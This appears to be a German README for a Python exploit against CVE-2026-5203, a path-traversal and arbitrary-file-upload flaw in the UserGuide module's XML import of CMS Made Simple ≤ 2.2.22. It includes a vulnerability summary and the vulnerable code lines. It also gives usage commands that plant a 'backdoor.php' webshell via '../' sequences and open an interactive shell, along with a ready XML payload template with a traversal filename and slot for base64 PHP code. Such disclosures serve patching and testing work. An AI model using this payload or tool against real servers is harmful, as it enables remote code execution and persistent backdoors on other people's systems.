
Python-Exploit für CVE-2026-5203: authentifizierter Path-Traversal und beliebiger Dateiupload in CMS Made Simple ≤ 2.22, der Remote-Code-Ausführung mittels PHP-Webshell-Bereitstellung ermöglicht.
Die XML-Import-Funktionalität des UserGuide-Moduls in CMS Made Simple ≤ 2.2.22 bereinigt vom Benutzer bereitgestellte Dateinamen nicht, sodass ein authentifizierter Administrator über Pfad-Traversal-Sequenzen beliebige Dateien (z. B. PHP-Webshells) an beliebiger Stelle im Dateisystem des Servers hochladen kann.
| Feld | Wert |
|---|---|
| Typ | Pfad-Traversal / Beliebiger Datei-Upload → RCE |
| Komponente | UserGuide-Modul — XML-Import |
| Betroffene Datei | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HOCH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Authentifizierung erforderlich | Ja (Administrator) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
Die Funktion schreibt Base64-dekodierten Inhalt direkt in den vom Angreifer kontrollierten Pfad.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
Beispiele:
# Standardpfad
python exploit.py http://target.com http://target.com/admin admin password123
# Benutzerdefinierter Upload-Pfad
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
Interactive Shell startet automatisch, wenn die Web-Shell nach dem Hochladen erreichbar ist.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>